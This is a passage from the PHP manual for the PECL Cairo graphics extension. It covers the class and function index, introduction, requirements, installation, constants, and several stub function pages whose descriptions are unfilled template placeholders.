    • cairo_scaled_font_create — Description
    • cairo_scaled_font_extents — Description
    • cairo_scaled_font_get_ctm — Description
    • cairo_scaled_font_get_font_face — Description
    • cairo_scaled_font_get_font_matrix — Description
    • cairo_scaled_font_get_font_options — Description
    • cairo_scaled_font_get_scale_matrix — Description
    • cairo_scaled_font_get_type — Description
    • cairo_scaled_font_glyph_extents — Description
    • cairo_scaled_font_status — Description
    • cairo_scaled_font_text_extents — Description
    • cairo_surface_copy_page — Description
    • cairo_surface_create_similar — Description
    • cairo_surface_finish — Description
    • cairo_surface_flush — Description
    • cairo_surface_get_content — Description
    • cairo_surface_get_device_offset — Description
    • cairo_surface_get_font_options — Description
    • cairo_surface_get_type — Description
    • cairo_surface_mark_dirty_rectangle — Description
    • cairo_surface_mark_dirty — Description
    • cairo_surface_set_device_offset — Description
    • cairo_surface_set_fallback_resolution — Description
    • cairo_surface_show_page — Description
    • cairo_surface_status — Description
    • cairo_surface_write_to_png — Description
    • cairo_svg_surface_create — Description
    • cairo_svg_surface_restrict_to_version — Description
    • cairo_svg_version_to_string — Description
  • Cairo — The Cairo class
    • Cairo::availableFonts — Retrieves the availables font types
    • Cairo::availableSurfaces — Retrieves all available surfaces
    • Cairo::statusToString — Retrieves the current status as string
    • Cairo::version — Retrives cairo's library version
    • Cairo::versionString — Retrieves cairo version as string
  • CairoContext — The CairoContext class
    • CairoContext::appendPath — Appends a path to current path
    • CairoContext::arc — Adds a circular arc
    • CairoContext::arcNegative — Adds a negative arc
    • CairoContext::clip — Establishes a new clip region
    • CairoContext::clipExtents — Computes the area inside the current clip
    • CairoContext::clipPreserve — Establishes a new clip region from the current clip
    • CairoContext::clipRectangleList — Retrieves the current clip as a list of rectangles
    • CairoContext::closePath — Closes the current path
    • CairoContext::__construct — Creates a new CairoContext
    • CairoContext::copyPage — Emits the current page
    • CairoContext::copyPath — Creates a copy of the current path
    • CairoContext::copyPathFlat — Gets a flattened copy of the current path
    • CairoContext::curveTo — Adds a curve
    • CairoContext::deviceToUser — Transform a coordinate
    • CairoContext::deviceToUserDistance — Transform a distance
    • CairoContext::fill — Fills the current path
    • CairoContext::fillExtents — Computes the filled area
    • CairoContext::fillPreserve — Fills and preserve the current path
    • CairoContext::fontExtents — Get the font extents
    • CairoContext::getAntialias — Retrives the current antialias mode
    • CairoContext::getCurrentPoint — The getCurrentPoint purpose
    • CairoContext::getDash — The getDash purpose
    • CairoContext::getDashCount — The getDashCount purpose
    • CairoContext::getFillRule — The getFillRule purpose
    • CairoContext::getFontFace — The getFontFace purpose
    • CairoContext::getFontMatrix — The getFontMatrix purpose
    • CairoContext::getFontOptions — The getFontOptions purpose
    • CairoContext::getGroupTarget — The getGroupTarget purpose
    • CairoContext::getLineCap — The getLineCap purpose
    • CairoContext::getLineJoin — The getLineJoin purpose
    • CairoContext::getLineWidth — The getLineWidth purpose
    • CairoContext::getMatrix — The getMatrix purpose
    • CairoContext::getMiterLimit — The getMiterLimit purpose
    • CairoContext::getOperator — The getOperator purpose
    • CairoContext::getScaledFont — The getScaledFont purpose
    • CairoContext::getSource — The getSource purpose
    • CairoContext::getTarget — The getTarget purpose
    • CairoContext::getTolerance — The getTolerance purpose
    • CairoContext::glyphPath — The glyphPath purpose
    • CairoContext::hasCurrentPoint — The hasCurrentPoint purpose
    • CairoContext::identityMatrix — The identityMatrix purpose
    • CairoContext::inFill — The inFill purpose
    • CairoContext::inStroke — The inStroke purpose
    • CairoContext::lineTo — The lineTo purpose
    • CairoContext::mask — The mask purpose
    • CairoContext::maskSurface — The maskSurface purpose
    • CairoContext::moveTo — The moveTo purpose
    • CairoContext::newPath — The newPath purpose
    • CairoContext::newSubPath — The newSubPath purpose
    • CairoContext::paint — The paint purpose
    • CairoContext::paintWithAlpha — The paintWithAlpha purpose
    • CairoContext::pathExtents — The pathExtents purpose
    • CairoContext::popGroup — The popGroup purpose
    • CairoContext::popGroupToSource — The popGroupToSource purpose
    • CairoContext::pushGroup — The pushGroup purpose
    • CairoContext::pushGroupWithContent — The pushGroupWithContent purpose
    • CairoContext::rectangle — The rectangle purpose
    • CairoContext::relCurveTo — The relCurveTo purpose
    • CairoContext::relLineTo — The relLineTo purpose
    • CairoContext::relMoveTo — The relMoveTo purpose
    • CairoContext::resetClip — The resetClip purpose
    • CairoContext::restore — The restore purpose
    • CairoContext::rotate — The rotate purpose
    • CairoContext::save — The save purpose
    • CairoContext::scale — The scale purpose
    • CairoContext::selectFontFace — The selectFontFace purpose
    • CairoContext::setAntialias — The setAntialias purpose
    • CairoContext::setDash — The setDash purpose
    • CairoContext::setFillRule — The setFillRule purpose
    • CairoContext::setFontFace — The setFontFace purpose
    • CairoContext::setFontMatrix — The setFontMatrix purpose
    • CairoContext::setFontOptions — The setFontOptions purpose
    • CairoContext::setFontSize — The setFontSize purpose
    • CairoContext::setLineCap — The setLineCap purpose
    • CairoContext::setLineJoin — The setLineJoin purpose
    • CairoContext::setLineWidth — The setLineWidth purpose
    • CairoContext::setMatrix — The setMatrix purpose
    • CairoContext::setMiterLimit — The setMiterLimit purpose
    • CairoContext::setOperator — The setOperator purpose
    • CairoContext::setScaledFont — The setScaledFont purpose
    • CairoContext::setSource — The setSource purpose
    • CairoContext::setSourceRGB — The setSourceRGB purpose
    • CairoContext::setSourceRGBA — The setSourceRGBA purpose
    • CairoContext::setSourceSurface — The setSourceSurface purpose
    • CairoContext::setTolerance — The setTolerance purpose
    • CairoContext::showPage — The showPage purpose
    • CairoContext::showText — The showText purpose
    • CairoContext::status — The status purpose
    • CairoContext::stroke — The stroke purpose
    • CairoContext::strokeExtents — The strokeExtents purpose
    • CairoContext::strokePreserve — The strokePreserve purpose
    • CairoContext::textExtents — The textExtents purpose
    • CairoContext::textPath — The textPath purpose
    • CairoContext::transform — The transform purpose
    • CairoContext::translate — The translate purpose
    • CairoContext::userToDevice — The userToDevice purpose
    • CairoContext::userToDeviceDistance — The userToDeviceDistance purpose
  • CairoException — The CairoException class
  • CairoStatus — The CairoStatus class
  • CairoSurface — The CairoSurface class
    • CairoSurface::__construct — The __construct purpose
    • CairoSurface::copyPage — The copyPage purpose
    • CairoSurface::createSimilar — The createSimilar purpose
    • CairoSurface::finish — The finish purpose
    • CairoSurface::flush — The flush purpose
    • CairoSurface::getContent — The getContent purpose
    • CairoSurface::getDeviceOffset — The getDeviceOffset purpose
    • CairoSurface::getFontOptions — The getFontOptions purpose
    • CairoSurface::getType — The getType purpose
    • CairoSurface::markDirty — The markDirty purpose
    • CairoSurface::markDirtyRectangle — The markDirtyRectangle purpose
    • CairoSurface::setDeviceOffset — The setDeviceOffset purpose
    • CairoSurface::setFallbackResolution — The setFallbackResolution purpose
    • CairoSurface::showPage — The showPage purpose
    • CairoSurface::status — The status purpose
    • CairoSurface::writeToPng — The writeToPng purpose
  • CairoSvgSurface — Svg Surface Backend
    • CairoSvgSurface::__construct — The __construct purpose
    • CairoSvgSurface::getVersions — Used to retrieve a list of supported SVG versions
    • CairoSvgSurface::restrictToVersion — The restrictToVersion purpose
    • CairoSvgSurface::versionToString — The versionToString purpose
  • CairoImageSurface — The CairoImageSurface class
    • CairoImageSurface::__construct — Creates a new CairoImageSurface
    • CairoImageSurface::createForData — The createForData purpose
    • CairoImageSurface::createFromPng — Creates a new CairoImageSurface form a png image file
    • CairoImageSurface::getData — Gets the image data as string
    • CairoImageSurface::getFormat — Get the image format
    • CairoImageSurface::getHeight — Retrieves the height of the CairoImageSurface
    • CairoImageSurface::getStride — The getStride purpose
    • CairoImageSurface::getWidth — Retrieves the width of the CairoImageSurface
  • CairoPdfSurface — The CairoPdfSurface class
    • CairoPdfSurface::__construct — The __construct purpose
    • CairoPdfSurface::setSize — The setSize purpose
  • CairoPsSurface — The CairoPsSurface class
    • CairoPsSurface::__construct — The __construct purpose
    • CairoPsSurface::dscBeginPageSetup — The dscBeginPageSetup purpose
    • CairoPsSurface::dscBeginSetup — The dscBeginSetup purpose
    • CairoPsSurface::dscComment — The dscComment purpose
    • CairoPsSurface::getEps — The getEps purpose
    • CairoPsSurface::getLevels — The getLevels purpose
    • CairoPsSurface::levelToString — The levelToString purpose
    • CairoPsSurface::restrictToLevel — The restrictToLevel purpose
    • CairoPsSurface::setEps — The setEps purpose
    • CairoPsSurface::setSize — The setSize purpose
  • CairoSurfaceType — The CairoSurfaceType class
  • CairoFontFace — The CairoFontFace class
    • CairoFontFace::__construct — Creates a new CairoFontFace object
    • CairoFontFace::getType — Retrieves the font face type
    • CairoFontFace::status — Check for CairoFontFace errors
  • CairoFontOptions — The CairoFontOptions class
    • CairoFontOptions::__construct — The __construct purpose
    • CairoFontOptions::equal — The equal purpose
    • CairoFontOptions::getAntialias — The getAntialias purpose
    • CairoFontOptions::getHintMetrics — The getHintMetrics purpose
    • CairoFontOptions::getHintStyle — The getHintStyle purpose
    • CairoFontOptions::getSubpixelOrder — The getSubpixelOrder purpose
    • CairoFontOptions::hash — The hash purpose
    • CairoFontOptions::merge — The merge purpose
    • CairoFontOptions::setAntialias — The setAntialias purpose
    • CairoFontOptions::setHintMetrics — The setHintMetrics purpose
    • CairoFontOptions::setHintStyle — The setHintStyle purpose
    • CairoFontOptions::setSubpixelOrder — The setSubpixelOrder purpose
    • CairoFontOptions::status — The status purpose
  • CairoFontSlant — The CairoFontSlant class
  • CairoFontType — The CairoFontType class
  • CairoFontWeight — The CairoFontWeight class
  • CairoScaledFont — The CairoScaledFont class
    • CairoScaledFont::__construct — The __construct purpose
    • CairoScaledFont::extents — The extents purpose
    • CairoScaledFont::getCtm — The getCtm purpose
    • CairoScaledFont::getFontFace — The getFontFace purpose
    • CairoScaledFont::getFontMatrix — The getFontMatrix purpose
    • CairoScaledFont::getFontOptions — The getFontOptions purpose
    • CairoScaledFont::getScaleMatrix — The getScaleMatrix purpose
    • CairoScaledFont::getType — The getType purpose
    • CairoScaledFont::glyphExtents — The glyphExtents purpose
    • CairoScaledFont::status — The status purpose
    • CairoScaledFont::textExtents — The textExtents purpose
  • CairoToyFontFace — The CairoToyFontFace class
  • CairoPatternType — The CairoPatternType class
  • CairoPattern — The CairoPattern class
    • CairoPattern::__construct — The __construct purpose
    • CairoPattern::getMatrix — The getMatrix purpose
    • CairoPattern::getType — The getType purpose
    • CairoPattern::setMatrix — The setMatrix purpose
    • CairoPattern::status — The status purpose
  • CairoGradientPattern — The CairoGradientPattern class
    • CairoGradientPattern::addColorStopRgb — The addColorStopRgb purpose
    • CairoGradientPattern::addColorStopRgba — The addColorStopRgba purpose
    • CairoGradientPattern::getColorStopCount — The getColorStopCount purpose
    • CairoGradientPattern::getColorStopRgba — The getColorStopRgba purpose
    • CairoGradientPattern::getExtend — The getExtend purpose
    • CairoGradientPattern::setExtend — The setExtend purpose
  • CairoSolidPattern — The CairoSolidPattern class
    • CairoSolidPattern::__construct — The __construct purpose
    • CairoSolidPattern::getRgba — The getRgba purpose
  • CairoSurfacePattern — The CairoSurfacePattern class
    • CairoSurfacePattern::__construct — The __construct purpose
    • CairoSurfacePattern::getExtend — The getExtend purpose
    • CairoSurfacePattern::getFilter — The getFilter purpose
    • CairoSurfacePattern::getSurface — The getSurface purpose
    • CairoSurfacePattern::setExtend — The setExtend purpose
    • CairoSurfacePattern::setFilter — The setFilter purpose
  • CairoLinearGradient — The CairoLinearGradient class
    • CairoLinearGradient::__construct — The __construct purpose
    • CairoLinearGradient::getPoints — The getPoints purpose
  • CairoRadialGradient — The CairoRadialGradient class
    • CairoRadialGradient::__construct — The __construct purpose
    • CairoRadialGradient::getCircles — The getCircles purpose
  • CairoAntialias — The CairoAntialias class
  • CairoContent — The CairoContent class
  • CairoExtend — The CairoExtend class
  • CairoFormat — The CairoFormat class
    • CairoFormat::strideForWidth — Provides an appropiate stride to use
  • CairoFillRule — The CairoFillRule class
  • CairoFilter — The CairoFilter class
  • CairoHintMetrics — The CairoHintMetrics class
  • CairoHintStyle — The CairoHintStyle class
  • CairoLineCap — The CairoLineCap class
  • CairoLineJoin — The CairoLineJoin class
  • CairoMatrix — The CairoMatrix class
    • CairoMatrix::__construct — Creates a new CairoMatrix object
    • CairoMatrix::initIdentity — Creates a new identity matrix
    • CairoMatrix::initRotate — Creates a new rotated matrix
    • CairoMatrix::initScale — Creates a new scaling matrix
    • CairoMatrix::initTranslate — Creates a new translation matrix
    • CairoMatrix::invert — The invert purpose
    • CairoMatrix::multiply — The multiply purpose
    • CairoMatrix::rotate — The rotate purpose
    • CairoMatrix::scale — Applies scaling to a matrix
    • CairoMatrix::transformDistance — The transformDistance purpose
    • CairoMatrix::transformPoint — The transformPoint purpose
    • CairoMatrix::translate — The translate purpose
  • CairoOperator — The CairoOperator class
  • CairoPath — The CairoPath class
  • CairoPsLevel — The CairoPsLevel class
  • CairoSubpixelOrder — The CairoSubpixelOrder class
  • CairoSvgVersion — The CairoSvgVersion class

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Cairo is a native PHP extension to create and modify graphics using the Cairo Graphics Library.

The Cairo Graphics Library is a 2D library written in C with support for multiple output devices. Currently supported output targets include the X Window System, Quartz, Win32, image buffers, PostScript, PDF, and SVG file output. Experimental backends include OpenGL (through glitz), XCB, BeOS, OS/2, and DirectFB. The library also has support for two types of text manipulation and layout. The "toy" API provides demo quality support, and the glyphs API, although full-featured, works best with a helper library such as pango. Font backend support includes FreeType, Quartz, Win32, and User fonts.

There are two types of computer graphics, vector and raster. Raster graphics are the representation of images as an array of pixels. Vector graphics use geometrical primitives such as points, lines, curves or polygons to represent images. The primitives are created using mathematical equations. The Cairo Graphics Library takes a vector approach to graphics, allowing smaller size, infinite zooming, and moving, scaling and rotating without degrading image quality.

Operations in the cairo graphics library including stroking and filling cubic Bézier splines, transforming and compositing translucent images, and antialiased text rendering. All drawing operations can be transformed by any affine transformation (scale, rotation, shear, and others) This is very similiar to drawing operations for PostScript and PDF drawing.

The Cairo PHP Extension aims to provide support for all officially supported font backends and surface backends, as well as expose all available functionality in cairo to PHP users.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Cairo is only available for PHP 5.2+ and PHP 5.3+ The extension also requires the cairo graphics library version 1.4 or higher. The cairo graphics library uses an even and odd numbering scheme to denote stable and unstable library versions. Both unstable and stable versions can be used with the extension, but conditional support for new features is determined by the stable version below the unstable version in use. The latest cairo release can be found at » http://cairographics.org/.

The binary files used for the windows compiles can be found at » http://cairographics.org/download/ along with the project files used to create them.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/cairo.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Notes specific to installation on Windows

Binary builds of the extension can be found at » http://cairographics.org/download/. Download the correct zip file, place php_cairo.dll in the extensions directory, and enable it via the php.ini file in use. Please be sure the PHP minor version (5.2, 5.3) match, the thread safety (Thread Safe TS or Non-Thread Safe NTS), the architecture (x86 or x64), and the compiler version (VC6 or VC9) match or the extension will not load.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

CAIRO_STATUS_SUCCESS (integer)
CAIRO_STATUS_NO_MEMORY (integer)
CAIRO_STATUS_INVALID_RESTORE (integer)
CAIRO_STATUS_INVALID_POP_GROUP (integer)
CAIRO_STATUS_NO_CURRENT_POINT (integer)
CAIRO_STATUS_INVALID_MATRIX (integer)
CAIRO_STATUS_INVALID_STATUS (integer)
CAIRO_STATUS_NULL_POINTER (integer)
CAIRO_STATUS_INVALID_STRING (integer)
CAIRO_STATUS_INVALID_PATH_DATA (integer)
CAIRO_STATUS_READ_ERROR (integer)
CAIRO_STATUS_WRITE_ERROR (integer)
CAIRO_STATUS_SURFACE_FINISHED (integer)
CAIRO_STATUS_SURFACE_TYPE_MISMATCH (integer)
CAIRO_STATUS_PATTERN_TYPE_MISMATCH (integer)
CAIRO_STATUS_INVALID_CONTENT (integer)
CAIRO_STATUS_INVALID_FORMAT (integer)
CAIRO_STATUS_INVALID_VISUAL (integer)
CAIRO_STATUS_FILE_NOT_FOUND (integer)
CAIRO_STATUS_INVALID_DASH (integer)
CAIRO_STATUS_INVALID_DSC_COMMENT (integer)
CAIRO_STATUS_INVALID_INDEX (integer)
CAIRO_STATUS_CLIP_NOT_REPRESENTABLE (integer)
CAIRO_STATUS_TEMP_FILE_ERROR (integer)
CAIRO_STATUS_INVALID_STRIDE (integer)
CAIRO_ANTIALIAS_DEFAULT (integer)
CAIRO_ANTIALIAS_NONE (integer)
CAIRO_ANTIALIAS_GRAY (integer)
CAIRO_ANTIALIAS_SUBPIXEL (integer)
CAIRO_SUBPIXEL_ORDER_DEFAULT (integer)
CAIRO_SUBPIXEL_ORDER_RGB (integer)
CAIRO_SUBPIXEL_ORDER_BGR (integer)
CAIRO_SUBPIXEL_ORDER_VRGB (integer)
CAIRO_SUBPIXEL_ORDER_VBGR (integer)
CAIRO_FILL_RULE_WINDING (integer)
CAIRO_FILL_RULE_EVEN_ODD (integer)
CAIRO_LINE_CAP_BUTT (integer)
CAIRO_LINE_CAP_ROUND (integer)
CAIRO_LINE_CAP_SQUARE (integer)
CAIRO_LINE_JOIN_MITER (integer)
CAIRO_LINE_JOIN_ROUND (integer)
CAIRO_LINE_JOIN_BEVEL (integer)
CAIRO_OPERATOR_CLEAR (integer)
CAIRO_OPERATOR_SOURCE (integer)
CAIRO_OPERATOR_OVER (integer)
CAIRO_OPERATOR_IN (integer)
CAIRO_OPERATOR_OUT (integer)
CAIRO_OPERATOR_ATOP (integer)
CAIRO_OPERATOR_DEST (integer)
CAIRO_OPERATOR_DEST_OVER (integer)
CAIRO_OPERATOR_DEST_IN (integer)
CAIRO_OPERATOR_DEST_OUT (integer)
CAIRO_OPERATOR_DEST_ATOP (integer)
CAIRO_OPERATOR_XOR (integer)
CAIRO_OPERATOR_ADD (integer)
CAIRO_OPERATOR_SATURATE (integer)
CAIRO_PATTERN_TYPE_SOLID (integer)
CAIRO_PATTERN_TYPE_SURFACE (integer)
CAIRO_PATTERN_TYPE_LINEAR (integer)
CAIRO_PATTERN_TYPE_RADIAL (integer)
CAIRO_EXTEND_NONE (integer)
CAIRO_EXTEND_REPEAT (integer)
CAIRO_EXTEND_REFLECT (integer)
CAIRO_EXTEND_PAD (integer)
CAIRO_FILTER_FAST (integer)
CAIRO_FILTER_GOOD (integer)
CAIRO_FILTER_BEST (integer)
CAIRO_FILTER_NEAREST (integer)
CAIRO_FILTER_BILINEAR (integer)
CAIRO_FILTER_GAUSSIAN (integer)
CAIRO_HINT_STYLE_DEFAULT (integer)
CAIRO_HINT_STYLE_NONE (integer)
CAIRO_HINT_STYLE_SLIGHT (integer)
CAIRO_HINT_STYLE_MEDIUM (integer)
CAIRO_HINT_STYLE_FULL (integer)
CAIRO_HINT_METRICS_DEFAULT (integer)
CAIRO_HINT_METRICS_OFF (integer)
CAIRO_HINT_METRICS_ON (integer)
CAIRO_FONT_TYPE_TOY (integer)
CAIRO_FONT_TYPE_FT (integer)
CAIRO_FONT_TYPE_WIN32 (integer)
CAIRO_FONT_TYPE_QUARTZ (integer)
CAIRO_FONT_SLANT_NORMAL (integer)
CAIRO_FONT_SLANT_ITALIC (integer)
CAIRO_FONT_SLANT_OBLIQUE (integer)
CAIRO_FONT_WEIGHT_NORMAL (integer)
CAIRO_FONT_WEIGHT_BOLD (integer)
CAIRO_CONTENT_COLOR (integer)
CAIRO_CONTENT_ALPHA (integer)
CAIRO_CONTENT_COLOR_ALPHA (integer)
CAIRO_SURFACE_TYPE_IMAGE (integer)
CAIRO_SURFACE_TYPE_PDF (integer)
CAIRO_SURFACE_TYPE_PS (integer)
CAIRO_SURFACE_TYPE_XLIB (integer)
CAIRO_SURFACE_TYPE_XCB (integer)
CAIRO_SURFACE_TYPE_GLITZ (integer)
CAIRO_SURFACE_TYPE_QUARTZ (integer)
CAIRO_SURFACE_TYPE_WIN32 (integer)
CAIRO_SURFACE_TYPE_BEOS (integer)
CAIRO_SURFACE_TYPE_DIRECTFB (integer)
CAIRO_SURFACE_TYPE_SVG (integer)
CAIRO_SURFACE_TYPE_OS2 (integer)
CAIRO_SURFACE_TYPE_WIN32_PRINTING (integer)
CAIRO_SURFACE_TYPE_QUARTZ_IMAGE (integer)
CAIRO_FORMAT_ARGB32 (integer)
CAIRO_FORMAT_RGB24 (integer)
CAIRO_FORMAT_A8 (integer)
CAIRO_FORMAT_A1 (integer)
CAIRO_PS_LEVEL_2 (integer)
CAIRO_PS_LEVEL_3 (integer)
CAIRO_SVG_VERSION_1_1 (integer)
CAIRO_SVG_VERSION_1_2 (integer)

User Contributed Notes

There are no user contributed notes for this page.


Examples

Description here...

Example #1 Cairo Example

<?php

/* ... */

?>

The above example will output something similar to:

...

User Contributed Notes

There are no user contributed notes for this page.


Cairo Functions

Table of Contents

  • cairo_create — Returns a new CairoContext object on the requested surface.
  • cairo_font_face_get_type — Description
  • cairo_font_face_status — Description
  • cairo_font_options_create — Description
  • cairo_font_options_equal — Description
  • cairo_font_options_get_antialias — Description
  • cairo_font_options_get_hint_metrics — Description
  • cairo_font_options_get_hint_style — Description
  • cairo_font_options_get_subpixel_order — Description
  • cairo_font_options_hash — Description
  • cairo_font_options_merge — Description
  • cairo_font_options_set_antialias — Description
  • cairo_font_options_set_hint_metrics — Description
  • cairo_font_options_set_hint_style — Description
  • cairo_font_options_set_subpixel_order — Description
  • cairo_font_options_status — Description
  • cairo_format_stride_for_width — Description
  • cairo_image_surface_create_for_data — Description
  • cairo_image_surface_create_from_png — Description
  • cairo_image_surface_create — Description
  • cairo_image_surface_get_data — Description
  • cairo_image_surface_get_format — Description
  • cairo_image_surface_get_height — Description
  • cairo_image_surface_get_stride — Description
  • cairo_image_surface_get_width — Description
  • cairo_matrix_create_scale — Alias of CairoMatrix::initScale
  • cairo_matrix_create_translate — Alias of CairoMatrix::initTranslate
  • cairo_matrix_invert — Description
  • cairo_matrix_multiply — Description
  • cairo_matrix_rotate — Description
  • cairo_matrix_transform_distance — Description
  • cairo_matrix_transform_point — Description
  • cairo_matrix_translate — Description
  • cairo_pattern_add_color_stop_rgb — Description
  • cairo_pattern_add_color_stop_rgba — Description
  • cairo_pattern_create_for_surface — Description
  • cairo_pattern_create_linear — Description
  • cairo_pattern_create_radial — Description
  • cairo_pattern_create_rgb — Description
  • cairo_pattern_create_rgba — Description
  • cairo_pattern_get_color_stop_count — Description
  • cairo_pattern_get_color_stop_rgba — Description
  • cairo_pattern_get_extend — Description
  • cairo_pattern_get_filter — Description
  • cairo_pattern_get_linear_points — Description
  • cairo_pattern_get_matrix — Description
  • cairo_pattern_get_radial_circles — Description
  • cairo_pattern_get_rgba — Description
  • cairo_pattern_get_surface — Description
  • cairo_pattern_get_type — Description
  • cairo_pattern_set_extend — Description
  • cairo_pattern_set_filter — Description
  • cairo_pattern_set_matrix — Description
  • cairo_pattern_status — Description
  • cairo_pdf_surface_create — Description
  • cairo_pdf_surface_set_size — Description
  • cairo_ps_get_levels — Description
  • cairo_ps_level_to_string — Description
  • cairo_ps_surface_create — Description
  • cairo_ps_surface_dsc_begin_page_setup — Description
  • cairo_ps_surface_dsc_begin_setup — Description
  • cairo_ps_surface_dsc_comment — Description
  • cairo_ps_surface_get_eps — Description
  • cairo_ps_surface_restrict_to_level — Description
  • cairo_ps_surface_set_eps — Description
  • cairo_ps_surface_set_size — Description
  • cairo_scaled_font_create — Description
  • cairo_scaled_font_extents — Description
  • cairo_scaled_font_get_ctm — Description
  • cairo_scaled_font_get_font_face — Description
  • cairo_scaled_font_get_font_matrix — Description
  • cairo_scaled_font_get_font_options — Description
  • cairo_scaled_font_get_scale_matrix — Description
  • cairo_scaled_font_get_type — Description
  • cairo_scaled_font_glyph_extents — Description
  • cairo_scaled_font_status — Description
  • cairo_scaled_font_text_extents — Description
  • cairo_surface_copy_page — Description
  • cairo_surface_create_similar — Description
  • cairo_surface_finish — Description
  • cairo_surface_flush — Description
  • cairo_surface_get_content — Description
  • cairo_surface_get_device_offset — Description
  • cairo_surface_get_font_options — Description
  • cairo_surface_get_type — Description
  • cairo_surface_mark_dirty_rectangle — Description
  • cairo_surface_mark_dirty — Description
  • cairo_surface_set_device_offset — Description
  • cairo_surface_set_fallback_resolution — Description
  • cairo_surface_show_page — Description
  • cairo_surface_status — Description
  • cairo_surface_write_to_png — Description
  • cairo_svg_surface_create — Description
  • cairo_svg_surface_restrict_to_version — Description
  • cairo_svg_version_to_string — Description

User Contributed Notes

There are no user contributed notes for this page.


Returns a new CairoContext object on the requested surface.

  • « Cairo Functions
  • cairo_font_face_get_type »
  • PHP Manual
  • Cairo Functions
  • Returns a new CairoContext object on the requested surface.

cairo_create

(PECL cairo >= 0.1.0)

cairo_create — Returns a new CairoContext object on the requested surface.

Description

CairoContext cairo_create ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_create
  • cairo_font_face_status »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_face_get_type

(PECL cairo >= 0.1.0)

cairo_font_face_get_type — Description

Description

int cairo_font_face_get_type ( CairoFontFace $fontface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

fontface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_face_get_type() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_face_get_type
  • cairo_font_options_create »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_face_status

(PECL cairo >= 0.1.0)

cairo_font_face_status — Description

Description

int cairo_font_face_status ( CairoFontFace $fontface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

fontface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_face_status() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_face_status
  • cairo_font_options_equal »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_create

(PECL cairo >= 0.1.0)

cairo_font_options_create — Description

Description

CairoFontOptions cairo_font_options_create ( void )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_create
  • cairo_font_options_get_antialias »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_equal

(PECL cairo >= 0.1.0)

cairo_font_options_equal — Description

Description

bool cairo_font_options_equal ( CairoFontOptions $options , CairoFontOptions $other )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

other

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_equal() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_equal
  • cairo_font_options_get_hint_metrics »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_get_antialias

(PECL cairo >= 0.1.0)

cairo_font_options_get_antialias — Description

Description

int cairo_font_options_get_antialias ( CairoFontOptions $options )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_get_antialias() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_get_antialias
  • cairo_font_options_get_hint_style »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_get_hint_metrics

(PECL cairo >= 0.1.0)

cairo_font_options_get_hint_metrics — Description

Description

int cairo_font_options_get_hint_metrics ( CairoFontOptions $options )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_get_hint_metrics() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_get_hint_metrics
  • cairo_font_options_get_subpixel_order »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_get_hint_style

(PECL cairo >= 0.1.0)

cairo_font_options_get_hint_style — Description

Description

int cairo_font_options_get_hint_style ( CairoFontOptions $options )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

